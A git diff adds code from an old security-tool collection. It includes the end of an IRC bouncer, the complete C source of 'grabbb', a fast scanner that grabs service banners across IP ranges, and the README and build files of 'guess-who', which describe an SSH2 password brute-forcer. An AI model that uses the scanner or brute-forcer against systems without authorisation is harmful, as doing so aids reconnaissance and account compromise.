pthread_mutex_lock (&cl->cl_mutex); + + FD_ZERO (&chainset); + FD_SET (cl->cs, &chainset); + FD_SET (cl->ss, &chainset); + maxfd = ((cl->cs > cl->ss) ? cl->cs : cl->ss) + 1; + tval.tv_sec = 1; + tval.tv_usec = 0; + + /* choose a dual approach, a bit polling (once per second, but also + * select, to let the mutex live + */ + n = select (maxfd, &chainset, NULL, NULL, &tval); + switch (n) { + case (0): break; + case (-1): return; + default: if (FD_ISSET (cl->cs, &chainset)) { + i = rly_rb (cl->cs, cbuff, sizeof (cbuff)); + if (i <= 0) { + bc = 0; + } else { + rly_clparse (cl, cbuff, sizeof (cbuff)); + } + } else if (FD_ISSET (cl->ss, &chainset)) { + i = rly_rb (cl->ss, sbuff, sizeof (sbuff)); + if (i <= 0) { + bc = 0; + } else { + rly_srvparse (cl, sbuff, sizeof (sbuff)); + } + } + break; + } + + pthread_mutex_unlock (&cl->cl_mutex); + } + + switch (i) { + case (0): printf ("connection close\n"); + break; + case (-1): printf ("system error (%d)\n", errno); + break; + case (-2): printf ("buffer too short to hold all recv data\n"); + break; + default: printf ("weird i = %d\n", i); + break; + } + + return; +} + +int +rly_clparse (client *cl, char *buffer, int buflen) +{ + int r, n, llen, prslen; + + while ((llen = net_tline (buffer, buflen)) != -1) { + +/* if (strncmp (buffer, "USER", 4) == 0) { + char *a, *b; + int n; + + n = sscanf (buffer, "USER %a[^ ] \"%*[^\"]\" \"%*[^\"]\"%*[^:]:%as\n", + &a, &b); + if (n != 2) { + printf ("wrong user command: %s\n", buffer); + goto pfft; + } + net_write (cl->ss, "USER %s \"%s\" \"%s\" :%s", a, cl->connip, cl->ircip, b); + goto mhhh; + } +*/ + /* if line was terminated, replace \n with \0 */ +pfft: buffer[llen-1] = '\0'; + net_write (cl->ss, "%s\n", buffer); + +mhhh: memmove (buffer, buffer + llen, buflen - llen); + + memset (buffer + (buflen - llen), '\0', llen); + } + + return (1); +} + +int +rly_srvparse (client *cl, char *buffer, int buflen) +{ + int code, r, n, llen; + + while ((llen = net_tline (buffer, buflen)) != -1) { + buffer[llen-1] = '\0'; + net_write (cl->cs, "%s\n", buffer); + memmove (buffer, buffer + llen, buflen - llen); + memset (buffer + (buflen - llen), '\0', llen); + } + return (1); +} + +int +rly_rb (int fd, char *buffer, int buflen) +{ + int n, csize; + + /* assume asciiz buffer, line based, + * now append the read data to this buffer + */ + + csize = strlen (buffer); + if (csize >= (buflen - 1)) + return (-2); /* buffer size exceeded, lame script kiddie */ + + n = read (fd, buffer + csize, buflen - csize - 1); + switch (n) { + case (0): return (0); + case (-1): return (-1); + default: return (strlen (buffer)); + } + + /* should never happen */ + return (0); +} + diff --git a/other/fizzbounce/relay.h b/other/fizzbounce/relay.h new file mode 100644 index 0000000..a99fa94 --- /dev/null +++ b/other/fizzbounce/relay.h @@ -0,0 +1,12 @@ +#ifndef FIZZ_RELAY_H +#define FIZZ_RELAY_H +#include "client.h" + +void rly_client (client *cl); +int rly_clparse (client *cl, char *buffer, int buflen); +int rly_srvparse (client *cl, char *buffer, int buflen); +int rly_rb (int fd, char *buffer, int buflen); + + +#endif + diff --git a/other/grabbb/Makefile b/other/grabbb/Makefile new file mode 100644 index 0000000..545ea2e --- /dev/null +++ b/other/grabbb/Makefile @@ -0,0 +1,12 @@ +CFLAGS=-Wall +CC=gcc +OBJS=grabbb.o + +all: grabbb + +clean: + rm -f *.o grabbb + +arptool: $(OBJS) + $(CC) $(CFLAGS) -o grabbb $(OBJS) + strip grabbb diff --git a/other/grabbb/README b/other/grabbb/README new file mode 100644 index 0000000..64357bb --- /dev/null +++ b/other/grabbb/README @@ -0,0 +1,19 @@ +grabbb +readme file + + 1. description + + grabbb is a very fast banner grabbing program, which will test an entire + range of ip addresses on a single or multiple ports, and if successful + it will capture the first line the remote daemon sends. + + this can be useful for statistical purposes. + + note this can be used for protocols such as ssh, ftp, smtp, nntp, ... + but not for things such as telnet, which is not as "simple" as you + may have thought. + + + have fun, + scut of teso + diff --git a/other/grabbb/grabbb.c b/other/grabbb/grabbb.c new file mode 100644 index 0000000..ed4b3e8 --- /dev/null +++ b/other/grabbb/grabbb.c @@ -0,0 +1,849 @@ +/* grabbb - elite banner scanner + * + * by scut of teso (http://teso.scene.at/) + * + * nearly all of this code wouldn't have been possible without w. richard stevens + * excellent network coding book. if you are interested in network coding, + * there is no way around it. wherever you are now, you showed me how to aquire one + * of my best skills, and my programs are the result of your teaching abilities. + * + * oh yeah, special greetz for this one go to random, who will once be a great + * socket warrior, promised. :) + * + * compilation (successfully tested on any listed platform): + * + * OSF1 Tru64 Unix V4.0/V5.0 ...: cc -o grabbb grabbb.c + * Linux 2.x.x .................: gcc -o grabbb grabbb.c -Wall + * Free-, Open-, NetBSD, BSDI ..: gcc -o grabbb grabbb.c -Wall + * SunOS, Solaris ..............: cc -o grabbb grabbb.c -lsocket -lnsl + * generic .....................: cc -o grabbb grabbb.c + */ + + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define VERSION "0.1.0" +#define AUTHORS "scut of teso" + +#define NET_CONNTIMEOUT 30 + + +int net_conntimeout = NET_CONNTIMEOUT; +int sb_timeout = 30; + + +typedef struct { + struct timeval tv; /* first time the socket was used */ + struct in_addr ip; /* ip we're connecting to */ + int already; + int portcount; + unsigned short int *port; /* remote port */ + int socket; /* phear */ + int state; + int printed; +#define ST_CONNECTING 1 +#define ST_CONNECTED 2 +#define ST_CONNECTME 3 + +} sock_buck; + + +/* for accessibility we go for a struct array, instead of a pointer array or a + * linked list. if we want to be even faster, we'd have to do fd_set + * multiplexing, which can be done with threads and jields in unportable code, + * sorry. mhh... (later) thinking about doing fd_set multiplexing with fork() + * and fpipe. + */ + +#define GRABBB_OPEN_MAX 250 /* hehe, don't mess with the mighty fdset's limits */ +int open_max = GRABBB_OPEN_MAX; +int sock_free = GRABBB_OPEN_MAX; +sock_buck sockets[GRABBB_OPEN_MAX]; + +/* in_addr structures needed for scanning + */ +struct in_addr ip_src, + ip_dst_s, + ip_dst_e, + ip_dst_cur; + + +unsigned long int ip_list_count = 0; +unsigned long int ip_list_step = 0; +struct in_addr *ip_list = NULL; + + +unsigned short int port = 21; +unsigned long int stat_hostcount = 0; +unsigned long int stat_hosts = 0; +unsigned long int stat_conn = 0; +unsigned long int hostcount = 0; +int verbose = 0; +int rangemode = 0; + +unsigned char *netmsg = NULL; +unsigned long int netmsg_s = 0; +int multiline = 0; + +unsigned short int *portrange = NULL; +int portcount = 0; + + +void usage (char *prg_name); +unsigned short int *portrange_do (char *portlist); +void sb_mainloop (void); +void sb_check (sock_buck *sb_r, int sb_count, fd_set *readset, + fd_set *writeset); +void sb_timecheck (sock_buck *sb); +void sb_print (sock_buck *sb, unsigned char *buf); +void sb_cfree (sock_buck *sb); +void sb_free (sock_buck *sb); +int sb_assign (int sb_count); +sock_buck *sb_ip_new_g (struct in_addr *ip, unsigned short int *port); +sock_buck *sb_ip_new (sock_buck *sb, struct in_addr *ip, + unsigned short int *port); +sock_buck *sb_fd_findactive (sock_buck *sb_r, int sb_count, fd_set *fds); +sock_buck *sb_getnew (sock_buck *sb_r, int sb_count); +fd_set *sb_trigger (sock_buck *sb_r, int sb_count, int *max_fd, int wr); +fd_set *sb_prepare (fd_set *fds, sock_buck *sb, int *max_fd, int wr); +void sb_init (sock_buck *sb); +char *net_getlocalip (void); +/* char *net_peername (int socket); */ +unsigned long int net_resolve (char *host); +int net_rtimeout (int fd, int sec); +int net_printip (struct in_addr *ia, char *str); +void *xcalloc (int factor, size_t size); +void *xrealloc (void *mem, size_t newsize); + +int +main (int argc, char **argv) +{ + int summary = 0; + char chr; + FILE *ip_file = NULL; + int ip_start_flag = 0, + ip_end_flag = 0; + + if (argc < 4) + usage (argv[0]); + + while ((chr = getopt (argc - 1, argv, "x:t:i:a:b:mvs")) != EOF) { + switch (chr) { + case 'x': open_max = atoi (optarg); + sock_free = open_max; + break; + case 't': sb_timeout = atoi (optarg); + break; + case 'i': ip_file = fopen (optarg, "r"); + break; + case 'a': ip_dst_s.s_addr = net_resolve (optarg); + ip_start_flag = 1; + break; + case 'b': ip_dst_e.s_addr = net_resolve (optarg); + ip_end_flag = 1; + break; + case 'm': multiline = 1; + break; + case 'v': verbose = 1; + break; + case 's': summary = 1; + break; + default: break; + } + } + + if (net_rtimeout (STDIN_FILENO, 1) == 1) { + unsigned char *fooptr; + int foolen = 1; + + for (netmsg_s = 128 ; foolen != 0 ; netmsg_s += 128) { + netmsg = xrealloc (netmsg, netmsg_s); + fooptr = netmsg + netmsg_s - 128; + foolen = read (STDIN_FILENO, fooptr, 127); + if (foolen == -1) { + fprintf (stderr, "failed to read from stdin\n"); + exit (EXIT_FAILURE); + } + netmsg_s -= (128 - foolen); + } + netmsg_s -= 128; + if (verbose) + printf ("printing to sockets (size = %li):\n%s\n", netmsg_s, netmsg); + } + + /* sanity checking + */ + if (ip_start_flag ^ ip_end_flag) { + printf ("you must supply either an iprange through using both options,\n" + "-a and -b, or you should supply an iprange file through -i.\n\n"); + exit (EXIT_FAILURE); + } + if (ip_start_flag == 1 && ip_end_flag == 1 && + (ip_dst_s.s_addr == 0 || ip_dst_e.s_addr == 0)) + { + printf ("when using the range mode you should supply valid ip ranges, lamer\n\n"); + exit (EXIT_FAILURE); + } + if (ip_start_flag == 1 && ip_end_flag == 1) { + rangemode = 1; + } else if (ip_file == NULL) { + printf ("supply a valid ip file if you don't use the range mode, lamer\n\n"); + exit (EXIT_FAILURE); + } else { + char line[128]; + + memset (line, '\0', sizeof (line)); + for (ip_list_count = 1 ; + fgets (line, sizeof (line) - 1, ip_file) != NULL ; ) + { + while (strlen (line) && (line[strlen (line) - 1] == '\n' || line[strlen (line) - 1] == '\r')) + line[strlen (line) - 1] = '\0'; + + ip_list = xrealloc (ip_list, ip_list_count * sizeof (struct in_addr)); + if (verbose) { + printf ("(%8li) adding %s\n", ip_list_count, line); + } + + ip_list[ip_list_count - 1].s_addr = net_resolve (line); +#ifdef DEBUG + printf ("ip_list[ip_list_count - 1].s_addr = %08x\n", ip_list[ip_list_count - 1].s_addr); +#endif + if (ip_list[ip_list_count - 1].s_addr != 0) + ++ip_list_count; + memset (line, '\0', sizeof (line)); + } + + ip_list_count--; + rangemode = 0; + } + + if (rangemode) { + hostcount = (ntohl (ip_dst_e.s_addr) - ntohl (ip_dst_s.s_addr)) + 1; + } else { + hostcount = ip_list_count; + } + + if (hostcount < open_max) { + sock_free = open_max = hostcount; + if (verbose) + printf ("truncated maximum number of open sockets to %d\n", open_max); + } + + portrange = portrange_do (argv[optind]); + if (verbose) + printf ("%d ports to scan per host, thats %lu connects\n", portcount, portcount * hostcount); + + if (rangemode) + ip_dst_cur.s_addr = ip_dst_s.s_addr; + + sb_mainloop (); + + if (summary) { + printf ("finished scanning %lu hosts.\ngot %lu response%s from %lu host%s.\n", + stat_hosts, stat_conn, (stat_conn > 1) ? "s" : "", stat_hostcount, + (stat_hostcount > 1) ? "s" : ""); + } + + exit (EXIT_SUCCESS); +} + + + +unsigned short int * +portrange_do (char *portlist) +{ + char *parse_ptr = portlist; + unsigned short int *new = NULL; + + for (portcount = 1 ; + (new = realloc (new, (portcount + 1) * sizeof (unsigned short int))) != NULL ; + ++portcount) + { + unsigned short int port = 0; + + new[portcount - 1] = new[portcount] = 0; + + while (isdigit (*parse_ptr)) { + port *= 10; + port += (*parse_ptr - '0'); + parse_ptr++; + } + + if (*parse_ptr == ':') { + new[portcount - 1] = port; + parse_ptr++; + } else if (*parse_ptr == '\0') { + new[portcount - 1] = port; + return (new); + } else { + printf ("illegal portlist supplied, check your eyes, lamer\n\n"); + exit (EXIT_FAILURE); + } + } + + printf ("generic error on portlist parsing\n\n"); + + exit (EXIT_FAILURE); +} + + +void +usage (char *prg_name) +{ + printf ("grabbb "VERSION" by "AUTHORS"\n\n" + "usage: %s [options] [:port2[:port3[...]]]\n\n" + "__options\n" + "\t-x maximum number of sockets to use (default 250)\n" + "\t-t connection timeout\n" + "\t-i file to get ip's from (ip's, not names)\n" + "\t-a range scanning (startip)\n" + "\t-b range scanning (endip)\n" + "\t-m multiline mode (grab not just the first line)\n" + "\t-v be more verbose\n" + "\t-s print summary information after scan\n\n" + "you can also pipe something to the program, which will be printed to any\n" + "successful connection the program experiences\n\n", prg_name); + + exit (EXIT_SUCCESS); +} + + +void +sb_mainloop (void) +{ + int n; + fd_set *fds_r, *fds_w; + int max_fd; + struct timeval tv = { 2, 0 }; /* 2 seconds timeout */ + int eoscan; + + while (1) { + eoscan = sb_assign (open_max); +#ifdef DEBUG + printf ("eoscan = %d -- sock_free = %d -- open_max = %d\n", eoscan, sock_free, open_max); +#endif + if (eoscan == -1 && sock_free == open_max) { + return; + } + + fds_r = fds_w = NULL; + fds_r = sb_trigger (sockets, open_max, &max_fd, 0); + fds_w = sb_trigger (sockets, open_max, &max_fd, 1); + +#ifdef DEBUG + printf ("fds_r = %08x -- fds_w = %08x -- eoscan = %d\n", fds_r, fds_w, eoscan); +#endif + if (fds_r == NULL && fds_w == NULL && eoscan == -1) + return; + n = select (max_fd, fds_r, fds_w, NULL, &tv); +#ifdef DEBUG + printf ("select() = %d\n", n); +#endif + if (n == -1) { + perror ("select failed"); + exit (EXIT_FAILURE); + } + + sb_check (sockets, open_max, fds_r, fds_w); + + free (fds_r); + free (fds_w); + } + +} + + +/* please ignore the bad style exposed here + */ + +void +sb_check (sock_buck *sb_r, int sb_count, fd_set *readset, fd_set *writeset) +{ + int i, + error, + len = sizeof (error); + sock_buck *sb; + + for (i = 0 ; i < sb_count ; ++i) { + sb = &(sb_r[i]); + if (sb->socket != 0 && sb->state == ST_CONNECTING) { + if (FD_ISSET (sb->socket, readset) || FD_ISSET (sb->socket, writeset)) { + if (FD_ISSET (sb->socket, readset) && FD_ISSET (sb->socket, writeset)) { + if (getsockopt (sb->socket, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { + sb_cfree (sb); + } else if (error == 0) { + /* we experienced a successful connection + */ + sb->state = ST_CONNECTED; + if (sb->already == 0) + stat_hostcount++; + sb->already = 1; + sb->printed = 0; + if (netmsg != NULL) + write (sb->socket, netmsg, netmsg_s); + } else { + sb_cfree (sb); + } + } else if (FD_ISSET (sb->socket, readset) == 0 && FD_ISSET (sb->socket, writeset) != 0) { + sb->state = ST_CONNECTED; + if (sb->already == 0) + stat_hostcount++; + sb->already = 1; + sb->printed = 0; + if (netmsg != NULL) + write (sb->socket, netmsg, netmsg_s); + } + } + } else if (sb->socket != 0 && sb->state == ST_CONNECTED && FD_ISSET (sb->socket, readset)) { + int n; + unsigned char buf[256]; + + memset (buf, '\0', sizeof (buf)); + n = read (sb->socket, buf, sizeof (buf) - 1); + if (n <= 0) { + sb_cfree (sb); + } else { + sb_print (sb, buf); + } + } + + sb_timecheck (sb); + } + + return; +} + + +void +sb_cfree (sock_buck *sb) +{ + sb->portcount++; + if (sb->portcount >= portcount) { + sb_free (sb); + } else { + if (sb->socket != 0) + close (sb->socket); + sb->socket = 0; + sb->state = ST_CONNECTME; + } + + return; +} + + +void +sb_timecheck (sock_buck *sb) +{ + unsigned long seconds, + microseconds; + struct timeval tv_cur; + + gettimeofday (&tv_cur, NULL); + + seconds = tv_cur.tv_sec - sb->tv.tv_sec; + if (tv_cur.tv_usec >= sb->tv.tv_usec) { + microseconds = tv_cur.tv_usec - sb->tv.tv_usec; + } else { + microseconds = sb->tv.tv_usec + tv_cur.tv_usec; + seconds--; /* seconds must be at least one, sapienta sat */ + } + + if (microseconds >= 500000) + seconds++; + + if (seconds >= sb_timeout) { + if (sb->state == ST_CONNECTED) { + sb_print (sb, NULL); + } + sb_cfree (sb); + } + + return; +} + + +void +sb_print (sock_buck *sb, unsigned char *buf) +{ + unsigned char *foo; + char ip[64]; + + net_printip (&sb->ip, ip); + + if (buf != NULL && multiline == 0 && strlen ((const char *) buf) > 0) { + for (foo = buf ; + ((unsigned long)((unsigned long)foo - + (unsigned long)buf) < strlen ((const char *) buf)) && + *foo != '\r' && *foo != '\n' && + *foo != '\x00'; ++foo) + ; + *foo = '\x00'; + } + + if (sb->printed == 0) { + sb->printed = 1; + stat_conn++; + if (buf != NULL) { + printf ("%s:%hu:%c%s%s", ip, sb->port[sb->portcount], + (multiline == 0) ? ' ' : '\n', buf, + (multiline == 0) ? "\n" : ""); + } else { + printf ("%s:%hu:\n", ip, sb->port[sb->portcount]); + } + } else if (buf != NULL) { + printf ("%s", buf); + } + + + return; +} + + +void +sb_free (sock_buck *sb) +{ + if (sb->socket != 0) + close (sb->socket); + + sb_init (sb); + + sock_free++; + + return; +} + + +int +sb_assign (int sb_count) +{ + int cnx = 0; /* number of connects issued */ + sock_buck *sb; + int i; + + + for (i = 0 ; i < sb_count ; ++i) { + sb = &(sockets[i]); + + if (sb->state == ST_CONNECTME) { + sb_ip_new (sb, &sb->ip, portrange); + } + } + + while (sock_free > 0) { + sock_buck *sb; + + if (ip_list_count > 0) { + if (ip_list_step >= ip_list_count) + return (-1); + + sb = sb_ip_new_g (&(ip_list[ip_list_step]), portrange); + ip_list_step++; + } else { + if (ntohl (ip_dst_cur.s_addr) > ntohl (ip_dst_e.s_addr)) + return (-1); + + sb = sb_ip_new_g (&ip_dst_cur, portrange); + ip_dst_cur.s_addr = ntohl (ntohl (ip_dst_cur.s_addr) + 1); + } + + stat_hosts++; + cnx++; + --sock_free; + } + + return (cnx); +} + + +sock_buck * +sb_ip_new_g (struct in_addr *ip, unsigned short int *port) +{ + sock_buck *new; + + new = sb_getnew (sockets, open_max); + sb_init (new); + new->port = port; + new->portcount = 0; + + return (sb_ip_new (new, ip, port)); +} + + +sock_buck * +sb_ip_new (sock_buck *sb, struct in_addr *ip, unsigned short int *port) +{ + int n; + sock_buck *new = sb; + struct sockaddr_in sa; + + if (new == NULL) + return (NULL); + + if (&new->ip != ip) + memcpy (&new->ip, ip, sizeof (struct in_addr)); + memset (&sa, '\0', sizeof (struct sockaddr_in)); + sa.sin_family = AF_INET; + sa.sin_port = htons (new->port[new->portcount]); + + new->socket = socket (sa.sin_family, SOCK_STREAM, 0); + + sa.sin_addr.s_addr = ip->s_addr; + + /* fear this lame socket coding style =) (didn't learned this from stevens + * though :) + */ + fcntl (new->socket, F_SETFL, (fcntl (new->socket, F_GETFL, 0) | O_NONBLOCK)); + + n = connect (new->socket, (struct sockaddr *) &sa, sizeof (struct sockaddr_in)); + gettimeofday (&new->tv, NULL); + if (n < 0 && errno != EINPROGRESS) { + sb_cfree (new); + return (new); + } else if (n == 0) { + new->state = ST_CONNECTED; + if (new->already == 0) + stat_hostcount++; + new->already = 1; + return (new); + } + + new->state = ST_CONNECTING; + + return (new); +} + + +sock_buck * +sb_fd_findactive (sock_buck *sb_r, int sb_count, fd_set *fds) +{ + int i; + + for (i = 0 ; i < sb_count ; ++i) { + int socket = sb_r[i].socket; + + if (socket != 0 && FD_ISSET (socket, fds) != 0) + return (&sb_r[i]); + } + + return (NULL); +} + + +sock_buck * +sb_getnew (sock_buck *sb_r, int sb_count) +{ + int i; + + for (i = 0 ; i < sb_count ; ++i) { + if (sb_r[i].state == 0) + return (&sb_r[i]); + } + + return (NULL); +} + + +fd_set * +sb_trigger (sock_buck *sb_r, int sb_count, int *max_fd, int wr) +{ + int i; + fd_set *fds = NULL; + + for (i = 0 ; i < sb_count ; ++i) { + fds = sb_prepare (fds, &sb_r[i], max_fd, wr); + } + + *max_fd = *max_fd + 1; + + return (fds); +} + + +fd_set * +sb_prepare (fd_set *fds, sock_buck *sb, int *max_fd, int wr) +{ + /* if socket is empty or socket is already part of fd_set, + * which means we fucked the structs somehow, then skip + */ + if (sb->socket == 0) + return (fds); + + if (sb->state == ST_CONNECTED && wr == 1) + return (fds); + + if (fds == NULL) { + fds = xcalloc (1, sizeof (fd_set)); + FD_ZERO (fds); + *max_fd = 0; + } + + if (FD_ISSET (sb->socket, fds) != 0) + return (fds); + + FD_SET (sb->socket, fds); + if (sb->socket > *max_fd) + *max_fd = sb->socket; + + return (fds); +} + + +void +sb_init (sock_buck *sb) +{ + memset (&sb->ip, '\0', sizeof (struct in_addr)); + sb->port = NULL; + sb->socket = 0; + sb->state = 0; + sb->already = 0; + sb->printed = 0; + + return; +} + + +char * +net_getlocalip (void) +{ + struct sockaddr_in pf; + char name[255]; + + memset (name, '\0', sizeof (name)); + + if (gethostname (name, sizeof (name) - 1) == -1) { + return (NULL); + } + + pf.sin_addr.s_addr = net_resolve (name); + + return (strdup (inet_ntoa (pf.sin_addr)));; +} + + +unsigned long int +net_resolve (char *host) +{ + long i; + struct hostent *he; + + i = inet_addr (host); + if (i == -1) { + he = gethostbyname (host); + if (he == NULL) { + return (0); + } else { + return (*(unsigned long *) he->h_addr); + } + } + return (i); +} + + +int +net_rtimeout (int fd, int sec) +{ + fd_set rset; + struct timeval tv; + int n, error, flags; + + error = 0; + flags = fcntl(fd, F_GETFL, 0); + n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) + return (-1); + + FD_ZERO(&rset); + FD_SET(fd, &rset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + /* now we wait until more data is received then the tcp low level watermark, + * which should be setted to 1 in this case (1 is default) + */ + + n = select(fd + 1, &rset, NULL, NULL, &tv); + if (n == 0) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) { + return (-1); + } + /* socket readable ? */ + if (FD_ISSET(fd, &rset)) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (1); + } else { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } +} + + +int +net_printip (struct in_addr *ia, char *str) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + sprintf (str, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + + return (0); +} + + +void * +xcalloc (int factor, size_t size) +{ + void *bla; + + bla = calloc (factor, size); + + if (bla == NULL) { + fprintf (stderr, "no memory left\n"); + exit (EXIT_FAILURE); + } + + return (bla); +} + + +void * +xrealloc (void *mem, size_t newsize) +{ + void *bla; + + bla = realloc (mem, newsize); + + if (bla == NULL) { + fprintf (stderr, "no memory left\n"); + exit (EXIT_FAILURE); + } + + return (bla); +} + + diff --git a/other/guess-who/CVS/Entries b/other/guess-who/CVS/Entries new file mode 100644 index 0000000..33bc68e --- /dev/null +++ b/other/guess-who/CVS/Entries @@ -0,0 +1,17 @@ +/LICENSE/1.1/Wed Nov 6 22:23:08 2002// +/TODO/1.1/Mon Dec 9 22:05:31 2002// +/base64.cc/1.1/Sat Dec 14 20:58:01 2002// +/base64.h/1.1/Sat Dec 14 20:58:13 2002// +/keygen.cc/1.1/Sat Dec 14 21:00:45 2002// +/misc.h/1.5/Wed Jan 15 18:10:26 2003// +/main.cc/1.14/Wed Jan 15 21:30:49 2003// +/ssh.h/1.13/Wed Jan 15 21:31:09 2003// +/thread.h/1.5/Sun Feb 2 20:04:28 2003// +/pubscan.cc/1.7/Tue Apr 29 15:43:50 2003// +/README/1.5/Tue Apr 29 15:46:38 2003// +/Makefile/1.11/Tue May 27 14:08:36 2003// +/misc.cc/1.10/Tue May 27 14:05:08 2003// +/ssh.cc/1.20/Tue May 27 14:33:44 2003// +/thread.cc/1.7/Tue May 27 14:33:47 2003// +/Changes/1.5/Tue May 27 14:40:53 2003// +D diff --git a/other/guess-who/CVS/Repository b/other/guess-who/CVS/Repository new file mode 100644 index 0000000..59be870 --- /dev/null +++ b/other/guess-who/CVS/Repository @@ -0,0 +1 @@ +guess-who diff --git a/other/guess-who/CVS/Root b/other/guess-who/CVS/Root new file mode 100644 index 0000000..3811072 --- /dev/null +++ b/other/guess-who/CVS/Root @@ -0,0 +1 @@ +/cvs diff --git a/other/guess-who/Changes b/other/guess-who/Changes new file mode 100644 index 0000000..f39395e --- /dev/null +++ b/other/guess-who/Changes @@ -0,0 +1,37 @@ +0.44 +--- + +- Hah. Incorrectly did not check return of packet_read() + everywhere. Could lead to hangs. + +0.43 +---- + +- idiotically, I made the tcp_connect() non-blocking for + the bruter too. fixed. Only pubscan needs nonblocking + connect + +0.42 +---- + +- fetch pending error after select() so we properly + handly closed ports etc + +0.41 +--- + +- added pubkey scan + + +0.35 +---- + +- added "-n" switch +- added keygen debugging tool + + +0.34 +---- + +- first public version + diff --git a/other/guess-who/LICENSE b/other/guess-who/LICENSE new file mode 100644 index 0000000..5813207 --- /dev/null +++ b/other/guess-who/LICENSE @@ -0,0 +1,31 @@ +/* + * Copyright (C) 2002 Sebastian Krahmer. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Sebastian Krahmer. + * 4. The name Sebastian Krahmer may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ diff --git a/other/guess-who/Makefile b/other/guess-who/Makefile new file mode 100644 index 0000000..aaaac22 --- /dev/null +++ b/other/guess-who/Makefile @@ -0,0 +1,38 @@ +CXX=c++ +CFLAGS=-Wall -c -O2 -g +LIBS=-lcrypto -lpthread + +all: ssh.o misc_block.o main.o thread.o base64.o + $(CXX) ssh.o misc_block.o main.o thread.o base64.o $(LIBS) -o b + +thread.o: thread.cc + $(CXX) $(CFLAGS) thread.cc + +ssh.o: ssh.cc + $(CXX) $(CFLAGS) ssh.cc + +misc.o: misc.cc + $(CXX) $(CFLAGS) -DDONT_BLOCK misc.cc + +misc_block.o: misc.cc + $(CXX) $(CFLAGS) misc.cc -o misc_block.o + + +main.o: main.cc + $(CXX) $(CFLAGS) main.cc + +base64.o: base64.cc + $(CXX) $(CFLAGS) base64.cc + +keygen.o: keygen.cc + $(CXX) $(CFLAGS) keygen.cc + +keygen: keygen.o base64.o misc.o + $(CXX) keygen.o base64.o misc.o -lcrypto -o keygen + +pubscan: pubscan.o base64.o misc.o ssh.o misc.o + $(CXX) ssh.o pubscan.o base64.o misc.o -lcrypto $(LIBS) -o pubscan + +clean: + rm -f *.o + diff --git a/other/guess-who/README b/other/guess-who/README new file mode 100644 index 0000000..c56f380 --- /dev/null +++ b/other/guess-who/README @@ -0,0 +1,22 @@ +SSH2 password bruteforcing +========================== + + +You can use "b" binary to bruteforce passwords (from stdin) +on a SSH2 server. Threaded. :-) In my LAN I got like +30 tries/sec. Some systems use config-options for sshd that +slows down the rate very much :/ + +I tested it with a OpenSSH server and it worked. +"pubscan" is a tool you can use to scan a IP range for valid +public RSA keys used in authorization. + +You can use it under the terms of LICENSE file, and please +do not abuse the code. + +"guess-who" uses code from the OpenSSH project. Thanks. + +Please report any problems to krahmer@cs.uni-potsdam.de + +;-) + diff --git a/other/guess-who/TODO b/other/guess-who/TODO new file mode 100644 index 0000000..8000285 --- /dev/null +++ b/other/guess-who/TODO @@ -0,0 +1,4 @@ ++ maxtries dynamisch (solange bis connection zu) ++ *BSD compilation tests + + diff --git a/other/guess-who/base64.cc b/other/guess-who/base64.cc new file mode 100644 index 0000000..53a7044 --- /dev/null +++ b/other/guess-who/base64.cc @@ -0,0 +1,315 @@ +/* taken from OpenSSH */ + +/* + * Copyright (c) 1996 by Internet Software Consortium. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS + * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE + * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL + * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR + * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS + * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + * SOFTWARE. + */ + +/* + * Portions Copyright (c) 1995 by International Business Machines, Inc. + * + * International Business Machines, Inc. (hereinafter called IBM) grants + * permission under its copyrights to use, copy, modify, and distribute this + * Software with or without fee, provided that the above copyright notice and + * all paragraphs of this notice appear in all copies, and that the name of IBM + * not be used in connection with the marketing of any product incorporating + * the Software or modifications thereof, without 